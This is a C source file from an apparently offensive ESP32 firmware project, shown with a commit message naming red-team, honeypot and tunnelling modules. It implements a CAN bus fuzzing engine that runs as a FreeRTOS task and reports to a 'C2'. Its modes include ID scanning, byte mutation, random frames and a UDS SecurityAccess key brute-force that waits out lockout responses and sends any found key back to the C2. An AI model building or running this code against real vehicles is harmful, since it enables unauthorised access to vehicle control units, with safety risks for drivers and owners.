Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
360 lines
11 KiB
C
360 lines
11 KiB
C
/*
|
|
* canbus_fuzz.c
|
|
* CAN bus fuzzing engine implementation.
|
|
*
|
|
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
|
|
*/
|
|
#include "sdkconfig.h"
|
|
|
|
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
|
|
|
|
#include <string.h>
|
|
#include "esp_log.h"
|
|
#include "esp_random.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "freertos/semphr.h"
|
|
|
|
#include "canbus_fuzz.h"
|
|
#include "canbus_driver.h"
|
|
#include "utils.h"
|
|
|
|
#ifdef CONFIG_CANBUS_ISO_TP
|
|
#include "canbus_isotp.h"
|
|
#endif
|
|
|
|
#define TAG "CAN_FUZZ"
|
|
|
|
static volatile bool s_fuzz_running = false;
|
|
static TaskHandle_t s_fuzz_task = NULL;
|
|
static fuzz_config_t s_fuzz_cfg;
|
|
static const char *s_fuzz_req_id = NULL;
|
|
static uint32_t s_fuzz_count = 0;
|
|
static uint32_t s_fuzz_responses = 0;
|
|
static SemaphoreHandle_t s_fuzz_mutex = NULL;
|
|
|
|
/* ============================================================
|
|
* Response detector callback
|
|
* ============================================================ */
|
|
|
|
/* Temporary callback to detect responses during fuzzing */
|
|
static can_rx_callback_t s_prev_cb = NULL;
|
|
static void *s_prev_ctx = NULL;
|
|
|
|
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
|
|
{
|
|
(void)ctx;
|
|
|
|
/* Count any response and report interesting ones */
|
|
s_fuzz_responses++;
|
|
|
|
/* Report to C2 */
|
|
char line[96];
|
|
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
|
|
(unsigned long)frame->id, frame->dlc);
|
|
size_t off = strlen(line);
|
|
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
|
|
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
|
|
}
|
|
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
|
|
|
/* Chain to original callback */
|
|
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Fuzz Modes
|
|
* ============================================================ */
|
|
|
|
/* ID Scan: send fixed payload on every ID in range */
|
|
static void fuzz_id_scan(void)
|
|
{
|
|
uint8_t data[8];
|
|
memcpy(data, s_fuzz_cfg.seed_data, 8);
|
|
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
|
|
|
|
for (uint32_t id = s_fuzz_cfg.id_start;
|
|
id <= s_fuzz_cfg.id_end && s_fuzz_running;
|
|
id++) {
|
|
|
|
can_frame_t frame = {
|
|
.id = id,
|
|
.dlc = dlc,
|
|
.extended = (id > 0x7FF),
|
|
.rtr = false,
|
|
};
|
|
memcpy(frame.data, data, 8);
|
|
|
|
can_driver_send(&frame);
|
|
s_fuzz_count++;
|
|
|
|
if (s_fuzz_cfg.delay_ms > 0) {
|
|
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
|
}
|
|
|
|
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
/* Data Mutate: for a fixed ID, try all values for each byte */
|
|
static void fuzz_data_mutate(void)
|
|
{
|
|
can_frame_t frame = {
|
|
.id = s_fuzz_cfg.target_id,
|
|
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
|
|
.extended = (s_fuzz_cfg.target_id > 0x7FF),
|
|
.rtr = false,
|
|
};
|
|
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
|
|
|
|
/* For each byte position, try all 256 values */
|
|
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
|
|
uint8_t original = frame.data[pos];
|
|
|
|
for (int val = 0; val < 256 && s_fuzz_running; val++) {
|
|
frame.data[pos] = (uint8_t)val;
|
|
can_driver_send(&frame);
|
|
s_fuzz_count++;
|
|
|
|
if (s_fuzz_cfg.delay_ms > 0) {
|
|
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
|
}
|
|
|
|
if (s_fuzz_cfg.max_iterations > 0 &&
|
|
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
|
return;
|
|
}
|
|
}
|
|
|
|
frame.data[pos] = original; /* Restore for next position */
|
|
}
|
|
}
|
|
|
|
/* Random: random ID + random data */
|
|
static void fuzz_random(void)
|
|
{
|
|
int max_iter = s_fuzz_cfg.max_iterations > 0
|
|
? s_fuzz_cfg.max_iterations
|
|
: 10000;
|
|
|
|
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
|
|
uint32_t rand_val = esp_random();
|
|
|
|
can_frame_t frame = {
|
|
.id = rand_val & 0x7FF, /* Standard ID range */
|
|
.dlc = (uint8_t)((esp_random() % 8) + 1),
|
|
.extended = false,
|
|
.rtr = false,
|
|
};
|
|
|
|
/* Fill with random data */
|
|
uint32_t r1 = esp_random();
|
|
uint32_t r2 = esp_random();
|
|
memcpy(&frame.data[0], &r1, 4);
|
|
memcpy(&frame.data[4], &r2, 4);
|
|
|
|
can_driver_send(&frame);
|
|
s_fuzz_count++;
|
|
|
|
if (s_fuzz_cfg.delay_ms > 0) {
|
|
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
|
}
|
|
}
|
|
}
|
|
|
|
/* UDS Auth: brute-force SecurityAccess key */
|
|
static void fuzz_uds_auth(void)
|
|
{
|
|
#ifdef CONFIG_CANBUS_ISO_TP
|
|
uint32_t tx_id = s_fuzz_cfg.target_id;
|
|
uint32_t rx_id = tx_id + 0x08;
|
|
int max_iter = s_fuzz_cfg.max_iterations > 0
|
|
? s_fuzz_cfg.max_iterations
|
|
: 65536;
|
|
|
|
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
|
|
|
|
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
|
|
/* Step 1: Request seed (SecurityAccess level 0x01) */
|
|
uint8_t seed_req[2] = { 0x27, 0x01 };
|
|
uint8_t resp[32];
|
|
size_t resp_len = 0;
|
|
|
|
isotp_status_t st = isotp_request(
|
|
tx_id, rx_id, seed_req, 2,
|
|
resp, sizeof(resp), &resp_len, 1000
|
|
);
|
|
|
|
if (st != ISOTP_OK || resp_len < 2) {
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
continue;
|
|
}
|
|
|
|
/* Check for exceededAttempts NRC (0x36) — back off */
|
|
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
|
|
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
|
|
vTaskDelay(pdMS_TO_TICKS(10000));
|
|
continue;
|
|
}
|
|
|
|
/* Check for timeDelayNotExpired NRC (0x37) — back off */
|
|
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
|
|
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
|
|
vTaskDelay(pdMS_TO_TICKS(10000));
|
|
continue;
|
|
}
|
|
|
|
/* Positive seed response: 0x67, 0x01, seed bytes */
|
|
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
|
|
|
|
int seed_len = (int)resp_len - 2;
|
|
if (seed_len <= 0 || seed_len > 8) continue;
|
|
|
|
/* Step 2: Try key (incremental or random based on iteration) */
|
|
uint8_t key_req[10] = { 0x27, 0x02 };
|
|
int key_len;
|
|
|
|
if (seed_len <= 2) {
|
|
/* Short seed: try sequential */
|
|
key_len = seed_len;
|
|
key_req[2] = (uint8_t)(attempt >> 8);
|
|
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
|
|
else key_req[2] = (uint8_t)(attempt & 0xFF);
|
|
} else {
|
|
/* Long seed: try random keys */
|
|
key_len = seed_len;
|
|
uint32_t r1 = esp_random();
|
|
uint32_t r2 = esp_random();
|
|
memcpy(&key_req[2], &r1, 4);
|
|
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
|
|
}
|
|
|
|
resp_len = 0;
|
|
st = isotp_request(
|
|
tx_id, rx_id, key_req, 2 + key_len,
|
|
resp, sizeof(resp), &resp_len, 1000
|
|
);
|
|
|
|
s_fuzz_count++;
|
|
|
|
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
|
|
/* SUCCESS! */
|
|
char line[64];
|
|
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
|
|
(unsigned long)tx_id);
|
|
size_t off = strlen(line);
|
|
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
|
|
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
|
|
}
|
|
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
|
ESP_LOGI(TAG, "Security key found!");
|
|
s_fuzz_running = false;
|
|
break;
|
|
}
|
|
|
|
if (s_fuzz_cfg.delay_ms > 0) {
|
|
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
|
}
|
|
|
|
/* Progress report every 100 attempts */
|
|
if ((attempt % 100) == 99) {
|
|
char progress[48];
|
|
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
|
|
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
|
|
}
|
|
}
|
|
#else
|
|
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
|
|
s_fuzz_running = false;
|
|
#endif
|
|
}
|
|
|
|
/* ============================================================
|
|
* Fuzz Task
|
|
* ============================================================ */
|
|
|
|
static void fuzz_task(void *arg)
|
|
{
|
|
(void)arg;
|
|
|
|
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
|
|
s_fuzz_count = 0;
|
|
s_fuzz_responses = 0;
|
|
|
|
switch (s_fuzz_cfg.mode) {
|
|
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
|
|
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
|
|
case FUZZ_MODE_RANDOM: fuzz_random(); break;
|
|
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
|
|
}
|
|
|
|
/* Report completion */
|
|
char done[80];
|
|
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
|
|
s_fuzz_count, s_fuzz_responses);
|
|
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
|
|
|
|
s_fuzz_running = false;
|
|
s_fuzz_task = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Public API
|
|
* ============================================================ */
|
|
|
|
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
|
|
{
|
|
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
|
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
|
|
|
if (s_fuzz_running) {
|
|
ESP_LOGW(TAG, "Fuzzing already in progress");
|
|
xSemaphoreGive(s_fuzz_mutex);
|
|
return false;
|
|
}
|
|
if (!can_driver_is_running()) {
|
|
ESP_LOGE(TAG, "CAN driver not running");
|
|
xSemaphoreGive(s_fuzz_mutex);
|
|
return false;
|
|
}
|
|
|
|
s_fuzz_cfg = *cfg;
|
|
s_fuzz_req_id = request_id;
|
|
s_fuzz_running = true;
|
|
|
|
BaseType_t ret = xTaskCreatePinnedToCore(
|
|
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
|
|
);
|
|
|
|
if (ret != pdPASS) {
|
|
s_fuzz_running = false;
|
|
xSemaphoreGive(s_fuzz_mutex);
|
|
return false;
|
|
}
|
|
|
|
xSemaphoreGive(s_fuzz_mutex);
|
|
return true;
|
|
}
|
|
|
|
void can_fuzz_stop(void)
|
|
{
|
|
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
|
|
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
|
|
s_fuzz_running = false;
|
|
xSemaphoreGive(s_fuzz_mutex);
|
|
|
|
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
|
|
vTaskDelay(pdMS_TO_TICKS(50));
|
|
}
|
|
}
|
|
|
|
bool can_fuzz_is_running(void)
|
|
{
|
|
return s_fuzz_running;
|
|
}
|
|
|
|
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */
|